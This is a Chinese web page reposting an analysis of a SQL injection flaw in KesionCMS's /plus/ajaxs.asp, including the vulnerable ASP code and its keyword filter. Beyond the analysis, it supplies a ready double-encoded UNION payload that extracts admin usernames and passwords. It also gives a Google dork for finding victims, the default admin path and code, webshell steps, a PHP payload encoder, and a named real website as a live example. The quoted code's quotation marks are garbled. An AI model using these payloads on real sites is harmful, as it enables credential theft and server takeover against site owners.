好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Kesion “0day”分析 - 网站安全 - 自学php

影响版本:kesion v6.0-v7.0以及kesion v7.06 eshop版       之所以打个引号,感觉这个不能算是0day,因为只是这个 漏洞 成因,其实都是同一个函数过滤不严造成的。而且,这个漏洞已经被披露。原漏洞是/user/Reg/regajax.asp下的漏洞。这次出现漏洞的位置是/plus/ajaxs.asp文件,漏洞原理是一样的,都是s函数过滤混乱导致的!   看下文件代码:/plus/ajaxs.asp   Dim KS:Set KS=New PublicCls   Dim Action   Action=KS.S([Action])   Select Case Action    Case ]Ctoe] CtoE    Case ]GetTags] GetTags    Case ]GetRelativeItem] GetRelativeItem    Case ]Shop_GetCoupon] Shop_GetCoupon    Case ]Shop_ValidateCoupon] Shop_ValidateCoupon    Case ]Shop_BrandOption] Shop_BrandOption    Case ]Shop_CheckProID] Shop_CheckProID    Case ]GetClassOption] GetClassOption    Case ]GetFieldOption] GetFieldOption    Case ]SpecialSubList] SpecialSubList    Case ]GetArea] GetArea    Case ]GetFunc] GetFunc    Case ]AddFriend] AddFriend    Case ]MessageSave] MessageSave    Case ]CheckMyFriend] CheckMyFriend    Case ]SendMsg] SendMsg    Case ]SearchUser] SearchUser    Case ]CheckLogin] CheckLogin    Case ]relativeDoc] relativeDoc    Case ]getModelType] getModelType    Case ]getDocImage] getDocImage    Case ]checkDocFname] checkDocFname    Case ]addCart] addShoppingCart    Case ]GetPackagePro] GetPackagePro    Case ]GetSupplyContact] GetSupplyContact    Case ]HitsGuangGao] HitsGuangGao    Case ]GetClubBoardOption] GetClubBoardOption    Case ]getclubboard] GetClubboard    Case ]getonlinelist] getonlinelist   End Select   …..snip…   ‘相关信息   Sub GetRelativeItem() //漏洞函数开始    Dim Key:Key=UnEscape(KS.S([Key]))//漏洞位置,只调用ks.s函数,无其它过滤。    Dim Rtitle:rtitle=lcase(KS.G([rtitle]))    Dim RKey:Rkey=lcase(KS.G([Rkey]))    Dim ChannelID:ChannelID=KS.ChkClng(KS.S([Channelid]))    Dim ID:ID=KS.ChkClng(KS.G([ID]))    Dim Param,RS,SQL,k,SqlStr    If Key<>]" Then      If (Rtitle=]true] Or RKey=]true]) Then    If Rtitle=]true] Then      param=Param & ]title like ’%]& key & ]%’]//类似搜索型注入漏洞。    end if    If Rkey=]true] Then      If Param=]" Then        Param=Param & ] keywords like ’%] & key & ]%’]      Else        Param=Param & ] or keywords like ’%] & key & ]%’]      End If    End If    Else       Param=Param & ] keywords like ’%] & key & ]%’]    End If   End If            If Param<>]" Then      Param=] where InfoID<>] & id & ] and ([ & param & ])]    else       Param=] where InfoID<>] & id    end if         If ChannelID<>0 Then Param=Param & ] and ChannelID=] & ChannelID     Param=Param & ]and verific=1″        SqlStr=]Select top 30 ChannelID,InfoID,Title From KS_ItemInfo ]& Param & ]order by id desc]//查询    Set RS=Server.CreateObject([ADODB.RECORDSET])    RS.Open SqlStr,conn,1,1    If Not RS.Eof Then     SQL=RS.GetRows(-1)    End If    RS.Close      www.2cto.com 我们来看看Dim Key:Key=UnEscape(KS.S([Key]))处的函数,调用自定义函数KS.S进行过滤,接着又调用UnEscape函数解码! 然后我们可以去看看函数原型,在/KS_Cls/kesion.commoncls.asp下   Function DelSql(Str)   Dim SplitSqlStr,SplitSqlArr,I   SplitSqlStr=]dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell]   SplitSqlArr = Split(SplitSqlStr,]|])   For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)   If Instr(LCase(Str),SplitSqlArr(I))>0 Then   Die ]<script>alert(‘系统警告!\n\n1、您提交的数据有恶意字符[& SplitSqlArr(I) &];\n2、您的数据已经被记录;\n3、您的IP:[&GetIP&];\n4、操作日期:[&Now&];\n Powered By Kesion.Com!’);window.close();</script>]   End if   Next   DelSql = Str       End Function   ‘取得Request.Querystring 或Request.Form 的值   Public Function S(Str)    S = DelSql(Replace(Replace(Request(Str), ]‘], ]"), ]"]", ]")) //止处过滤,如果配合Unescape()函数,刚过滤并末生交,可以采用unicode编码方式,刚不会在 浏览器 中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是[‘]号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。       要成功利用的方法,则要根据   Dim KS:Set KS=New PublicCls   Dim Action   Action=KS.S([Action])   Select Case Action    Case ]Ctoe] CtoE    Case ]GetTags] GetTags    Case ]GetRelativeItem] GetRelativeItem   调用规则进行调用,当调用的action的值为GetRelativeItem时,即可调用GetRelativeItem函数。在这个函数里面,判断key的值是否为空,所以可以在key的后面接任何值,比如conqu3r。因此构造就很简单了,直接根据搜索型的方法注入就行了。   如下:将:%’) union select 1,2,username+’|'+ password from KS_Admin转换为如下的即可。   /plus/ajaxs.asp?action=GetRelativeItem&key=conqu3r%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500   如果是MSSQL的版本,如果有相应权限,则可以通过备份直接拿shell.   此处漏洞可以利用CLng类型转换,报错查路径。   方法:   /plus/ajaxs.asp?action=GetRelativeItem&key=%25       google关键字:intext:Powered By KesionCMS       默认后台:/admin/login.asp  默认认证码:8888       后台拿webshell的方法:   1、通过执行Sql语句,Access导出一句话木马;   2、通过插入 数据库 ,备份出一句话。       实例:http://www.allvison.com//plus/ajaxs. asp ?action=GetRelativeItem&key=conqu3r%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500   附转换代码:   [code]   <?php error_reporting(E_ERROR); set_time_limit(0); print_r(' ================================================================================ kesioncms 命令行转换程序                                    ------by conqu3r ================================================================================ ');       if ($argc<2) { print_r(' ================================================================================ Usage: php '.$argv[0].' "sql code";       Example: php '.$argv[0].' "\'%) union select..."; ================================================================================ '); die; } $str=$argv[1]; for ($i=0; $i<=strlen($str); $i++){         $temp .= "%25".base_convert(ord($str[$i]),10,16); } echo $temp."0"; ?>

查看更多关于Kesion “0day”分析 - 网站安全 - 自学php的详细内容...

  阅读:46次